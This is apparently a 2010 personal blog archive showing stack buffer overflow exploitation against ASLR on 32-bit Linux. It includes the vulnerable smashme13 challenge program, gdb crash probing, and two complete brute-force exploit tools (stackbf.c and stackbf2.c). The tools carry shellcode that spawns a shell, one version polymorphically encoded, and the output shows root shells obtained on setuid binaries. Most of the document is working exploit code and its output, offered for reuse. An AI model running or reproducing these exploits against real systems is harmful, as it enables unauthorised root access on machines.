break a time, with break the c0de…

Archive for July, 2010

easy pwn on smashme13


Here it is my tools in action…
The challenge is to smash this program with ASLR
And gaining root acess…

You can found real source here : http://www.shell-storm.org/smashme/files/smashme-13.php

/* Compiled on x86 64 bits*/

#include <stdio.h>
#include <string.h>

int smash(char*);

int main(int argc, char** argv)
{
    if (argc < 2) {
    fprintf(stderr, "usage: smashme <string>\n");
    exit(1);
    }
    smash(argv[1]);
    return 0;
}

int smash(char* egg)
{
    char buff[128];
    strcat(buff, egg);
    return 0;
}

Action…

gunslinger@c0debreaker:~/bof$ vim smashme13.c
gunslinger@c0debreaker:~/bof$ gcc -o smashme13 -fno-stack-protector -mpreferred-stack-boundary=2 -g smashme13.c
smashme13.c: In function ‘main’:
smashme13.c:12: warning: incompatible implicit declaration of built-in function ‘exit’
gunslinger@c0debreaker:~/bof$
gunslinger@c0debreaker:~/bof$ ./bufferbruteforce.py -a /home/gunslinger/bof/smashme13 -s 1 -e 600

Buffer brute force
Programmer : gunslinger_ <yudha.gunslinger@gmail.com>

[*] Checking Existing application 					[Ok]
[*] Checking perl 							[Ok]
[*] Preparing for bruteforcing buffer 					[Ok]
[*] buffering on 128 byte(s)
[!] Application got segmentation fault by giving 128 byte(s) into buffer !!

gunslinger@c0debreaker:~/bof$ ./stackbf2 smashme13 132
[*] Using return address 0xbf8f9fe4 
[*] Environment variable 128 kb
[*] Shellcode size 57 bytes
^C
gunslinger@c0debreaker:~/bof$ ./smashme13 
usage: smashme <string>
gunslinger@c0debreaker:~/bof$ ./smashme13 a
gunslinger@c0debreaker:~/bof$ ./smashme13 `perl -e 'print "A" x 128'`
Segmentation fault
gunslinger@c0debreaker:~/bof$ gdb smashme13
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) r `perl -e 'print "A" x 132'`
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 132'`

Program received signal SIGSEGV, Segmentation fault.
0x08048408 in __do_global_dtors_aux ()
Current language:  auto; currently asm
(gdb) r `perl -e 'print "A" x 128'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 128'`

Program received signal SIGSEGV, Segmentation fault.
0xbfe138a4 in ?? ()
(gdb) r `perl -e 'print "A" x 150'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 150'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A" x 148'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 148'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A" x 144'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 144'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A" x 142'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 142'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A" x 140'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 140'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A" x 120'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 120'`

Program exited normally.
(gdb) r `perl -e 'print "A" x 135'`
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 135'`

Program received signal SIGSEGV, Segmentation fault.
0x00414141 in ?? ()
(gdb) r `perl -e 'print "A" x 136'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/gunslinger/bof/smashme13 `perl -e 'print "A" x 136'`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) disas main
Dump of assembler code for function main:
0x08048454 <main+0>:	push   %ebp
0x08048455 <main+1>:	mov    %esp,%ebp
0x08048457 <main+3>:	sub    $0x10,%esp
0x0804845a <main+6>:	cmpl   $0x1,0x8(%ebp)
0x0804845e <main+10>:	jg     0x8048491 <main+61>
0x08048460 <main+12>:	mov    0x804a01c,%eax
0x08048465 <main+17>:	mov    %eax,0xc(%esp)
0x08048469 <main+21>:	movl   $0x18,0x8(%esp)
0x08048471 <main+29>:	movl   $0x1,0x4(%esp)
0x08048479 <main+37>:	movl   $0x8048590,(%esp)
0x08048480 <main+44>:	call   0x8048368 <fwrite@plt>
0x08048485 <main+49>:	movl   $0x1,(%esp)
0x0804848c <main+56>:	call   0x8048388 <exit@plt>
0x08048491 <main+61>:	mov    0xc(%ebp),%eax
0x08048494 <main+64>:	add    $0x4,%eax
0x08048497 <main+67>:	mov    (%eax),%eax
0x08048499 <main+69>:	mov    %eax,(%esp)
0x0804849c <main+72>:	call   0x80484a8 <smash>
0x080484a1 <main+77>:	mov    $0x0,%eax
0x080484a6 <main+82>:	leave  
0x080484a7 <main+83>:	ret    
End of assembler dump.
(gdb) q
The program is running.  Exit anyway? (y or n) y
gunslinger@c0debreaker:~/bof$ ./stackbf2 smashme13 136
[*] Using return address 0xbfab19a4 
[*] Environment variable 128 kb
[*] Shellcode size 57 bytes
# id
uid=1000(gunslinger) gid=1000(gunslinger) euid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# uname -a
Linux localhost 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# exit
gunslinger@c0debreaker:~/bof$
Advertisements


stackbf2.c


This is newer version of stackbf

i use

static inline getesp()
{
      __asm__("movl %esp,%eax"); /* will get return address in %eax, no more debugging for that ;) */
}

For return address, because that is has a good accuracy so i use that .

/*
*	stack brute forcer by Gunslinger_ yudha.gunslinger@gmail.com
*	This is version 2 of stackbf.c
*	The difference is we doesn't use our own return address , because some asm that copied %esp register into %eax register
*	This return value can be use with good accuracy, so we use for that .  
*
*	# original assembly of shellcode, but there is has been encoded to polymorphic shellcode for hidding some character like "\xcd\x80" or "int $0x80" in assembly 
*	.global _start
*	_start:
*
*	xor	%eax, %eax
*	xor	%ebx, %ebx
*	xor	%ecx, %ecx
*	xor	%edx, %edx
*
*	mov	$0xb, %al
*	push	%ebx
*	push	$0x68732f2f
*	push	$0x6e69622f
*	mov	%esp, %ebx
*	xor	%edx, %edx
*	xor	%edx, %edx
*	push	%ebx
*	int	$0x80
*
*	inc	%eax
*	int	$0x80
*
*	
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define NOP 0x90	

/* Length of environment variable ~ 128 Kb */
#define ENV_LEN 128000

static inline getesp()
{
      __asm__("movl %esp,%eax"); /* will get return address in %eax, no more debugging for that ;) */
}


char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x35\x80\xe9\x01" /* Polymorphic shell */
		   "\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x66\xf5\x66\x10\x66\xfe"
		   "\x66\x07\xe5\x40\x88\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e\xa3"
		   "\xbe\x18\x66\x07\x66\xfe\x88\x02\xb5\x75\x02\xb5";
		   
int main(int argc, char **argv)
{
	char *application = NULL;
	char *buffer = NULL;
	char env_var[ENV_LEN];
	char *env[2] = { env_var, NULL};
	int *p, num, ret, pid, payload_size;

	if (argc < 3)
	{
		printf("\nStack Brute Force");
		printf("\nProgrammer : Gunslinger_");
		printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
		exit(1);
	}
	
	printf("[*] Using return address 0x%x \n", getesp());
	printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
	printf("[*] Shellcode size %d bytes\n", strlen(shellcode));
	
	application = strdup(argv[1]);
	payload_size = atoi(argv[2]);
	buffer = (char*) malloc(payload_size);

	memset (env_var, NOP, ENV_LEN);

	memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
	env_var[ENV_LEN-1]=0;

	p = (int*) buffer;

	for (num = 0; num < payload_size; num += sizeof(int), p++)
		*p = getesp();
	*p=0;
	do {
		switch(pid=fork())
		{
		case 0:
			execle (application, application, buffer, NULL, env);
			exit(0);
			break;
		default:
			waitpid (pid, &ret, 0);
			break;
		}
	}
while (ret);
}

and this is the program in action

gunslinger@codebreaker:~/bof$ cat /proc/sys/kernel/randomize_va_space
2
gunslinger@codebreaker:~/bof$ ./stackbf2 bof 408 
[*] Using return address 0xbf941d04 
[*] Environment variable 128 kb
[*] Shellcode size 57 bytes
# exit
gunslinger@codebreaker:~/bof$ ./stackbf2 bof 408 
[*] Using return address 0xbfeb4a74 
[*] Environment variable 128 kb
[*] Shellcode size 57 bytes
# exit
gunslinger@codebreaker:~/bof$ ./stackbf2 bof 408 
[*] Using return address 0xbfdabfc4 
[*] Environment variable 128 kb
[*] Shellcode size 57 bytes
# exit
gunslinger@codebreaker:~/bof$ ./stackbf2 bof 408 
[*] Using return address 0xbfbdc7a4 
[*] Environment variable 128 kb
[*] Shellcode size 57 bytes
# exit
gunslinger@codebreaker:~/bof$

easy buffer overflow exploitation


This is buffer overflow scenario with ASLR (Address Space Layer Randomization) and using some my tools that’s made so easy…

gunslinger@c0debreaker:~/bof$ cat /proc/sys/kernel/randomize_va_space
2
gunslinger@c0debreaker:~/bof$ ./ron a
The message was: a
Program completed normally!

gunslinger@c0debreaker:~/bof$ ./ron aaa
The message was: aaa
Program completed normally!
gunslinger@c0debreaker:~/bof$ ./bufferbruteforce.py -a /home/gunslinger/bof/ron -s 1 -e 500

Buffer brute force
Programmer : gunslinger_ <yudha.gunslinger@gmail.com>

[*] Checking Existing application 					[Ok]
[*] Checking perl 							[Ok]
[*] Preparing for bruteforcing buffer 					[Ok]
[*] buffering on 44 byte(s)
[!] Application got segmentation fault by giving 44 byte(s) into buffer !!

gunslinger@c0debreaker:~/bof$ ./stackbf ron 48
[*] Using return address 0xbfd24880
[*] Environment variable 128 kb
[*] Shellcode size 28 bytes
The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

The message was: ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐ÇHÊ┐
Program completed normally!

# id
uid=0(root) gid=1000(gunslinger) groups=4(adm),20(dialout),24(cdrom),46(plugdev),106(lpadmin),121(admin),122(sambashare),1000(gunslinger)
# whoami
root
# uname -a
Linux c0debreaker 2.6.28-11-generic #42-Ubuntu SMP Fri Apr 17 01:57:59 UTC 2009 i686 GNU/Linux
# exit
gunslinger@c0debreaker:~/bof$

stackbf.c


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/*
	You can use debugger to get esp address, that can make program will be defeated more faster !
	RET is return address we use to overwrite EIP . we can use 0xbffffff4 for default, but may take sometime...
*/
#define RET 0xbffffff4  // you may change this
#define NOP 0x90	

// Length of environment variable ~ 128 Kb
#define ENV_LEN 128000


char shellcode[] =
	/* 
	; standard /bin//sh
	global _start

	_start:

	xor	eax,eax
	push	byte	11
	pop	eax
	push	ebx
	push	0x68732f2f
	push	0x6e69622f
	mov	ebx,esp
	xor	ecx,ecx
	xor	edx,edx
	push	ebx
	int	0x80
	
	*/
	"\xb0\x17\x31\xdb\xcd\x80\xb0\x0b\x99\x52\x68\x2f\x2f\x73"
	"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";

int main(int argc, char **argv)
{
	char *application = NULL;
	char *buffer = NULL;
	char env_var[ENV_LEN];
	char *env[2] = { env_var, NULL};
	int *p, num, ret, pid, payload_size;

	if (argc < 3)
	{
		printf("\nStack Brute Force");
		printf("\nProgrammer : Gunslinger_");
		printf("\nUsage: %s <application> <payload_size>\n\n", argv[0]);
		exit(1);
	}
	
	printf("[*] Using return address 0x%x \n", RET);
	printf("[*] Environment variable %d kb\n", ENV_LEN / 1000);
	printf("[*] Shellcode size %d bytes\n", strlen(shellcode));
	
	application = strdup(argv[1]);
	payload_size = atoi(argv[2]);
	buffer = (char*) malloc(payload_size);

	memset (env_var, NOP, ENV_LEN);

	memcpy (env_var+ENV_LEN-strlen(shellcode)-1, shellcode, strlen(shellcode));
	env_var[ENV_LEN-1]=0;

	p = (int*) buffer;

	for (num = 0; num < payload_size; num += sizeof(int), p++)
		*p = RET;
	*p=0;
	do {
		switch(pid=fork())
		{
		case 0:
			execle (application, application, buffer, NULL, env);
			exit(0);
			break;
		default:
			waitpid (pid, &ret, 0);
			break;
		}
	}
while (ret);
}